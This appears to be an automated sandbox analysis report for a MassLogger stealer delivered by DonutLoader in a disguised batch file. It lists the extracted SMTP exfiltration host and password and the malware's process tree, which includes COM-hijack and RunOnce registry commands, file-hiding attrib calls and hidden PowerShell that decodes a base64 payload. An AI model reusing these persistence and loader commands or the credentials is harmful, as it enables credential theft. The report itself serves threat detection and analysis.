Analysis
- max time kernel
149s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
15/04/2026, 04:35
General
- Target TOTAL ENG-D01267-2026-DDO.bat
- Size 230KB
- Sample260415-e7y25ah19z
- SHA256 c6eed5ba8fc47591be97272ec9eac838e779930a723a4e03a5ec01bcf252ef27
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.taikei-rmc-co.biz
-
Port
587
-
Username
-
Password
dy8tm;jRtJO[:bG:
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-12-17
-
host_password
dy8tm;jRtJO[:bG:
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.taikei-rmc-co.biz
-
ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 57 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- outlook_office_path
- outlook_win_path
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TOTAL ENG-D01267-2026-DDO.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\TOTAL ENG-D01267-2026-DDO.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\REPORT.bat"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{DE801E8A-B92C-BAC2-3F87-2B365DCE8B49}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{DE801E8A-B92C-BAC2-3F87-2B365DCE8B49}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{DE801E8A-B92C-BAC2-3F87-2B365DCE8B49}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Compare" /t REG_SZ /d "cmd.exe /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\REPORT.bat"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w Hidden -ep Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Stability.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Slow.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -nop -w Hidden -ep Bypass -f "C:\Users\Admin\AppData\Local\Temp\Slow.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cft5hmfp\cft5hmfp.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1383.tmp" "c:\Users\Admin\AppData\Local\Temp\cft5hmfp\CSC2136C785F69243AA871CA580A19F3218.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
RES1383.tmp
Slow.ps1
Stability.tmp
Stability.tmp
__PSScriptPolicyTest_djmmqziy.2aw.ps1
cft5hmfp.dll
REPORT.bat
CSC2136C785F69243AA871CA580A19F3218.TMP
cft5hmfp.0.cs
cft5hmfp.cmdline
memory/2256-68-0x0000024879970000-0x0000024879978000-memory.dmp
memory/2256-54-0x0000024861420000-0x0000024861430000-memory.dmp
memory/2256-70-0x0000024879BF0000-0x0000024879C02000-memory.dmp
memory/2256-67-0x00000248613E0000-0x00000248613EC000-memory.dmp
memory/2256-62-0x0000024861420000-0x0000024861430000-memory.dmp
memory/2256-55-0x0000024879C40000-0x0000024879C62000-memory.dmp
memory/2256-53-0x0000024861420000-0x0000024861430000-memory.dmp
memory/2256-69-0x0000024879A80000-0x0000024879B6A000-memory.dmp
memory/2272-95-0x0000026224220000-0x0000026224228000-memory.dmp
memory/2272-98-0x00000262242B0000-0x000002622439A000-memory.dmp
memory/2272-107-0x00000262242B0000-0x000002622439A000-memory.dmp
memory/2272-105-0x000002620BB40000-0x000002620BB4C000-memory.dmp
memory/2272-97-0x00000262241C0000-0x00000262241C8000-memory.dmp
memory/2272-96-0x000002620BB40000-0x000002620BB4C000-memory.dmp
memory/2272-99-0x00000262241E0000-0x00000262241F2000-memory.dmp
memory/3196-101-0x00000000010E0000-0x0000000001100000-memory.dmp
memory/3196-103-0x00000000030F0000-0x000000000310E000-memory.dmp
memory/3196-109-0x0000000004DA0000-0x0000000004DF0000-memory.dmp
memory/3196-110-0x0000000008850000-0x0000000008A12000-memory.dmp
memory/3232-93-0x000002603A770000-0x000002603A77C000-memory.dmp
memory/3232-92-0x000002603A610000-0x000002603A618000-memory.dmp
memory/3856-89-0x000001F5AC340000-0x000001F5AC34C000-memory.dmp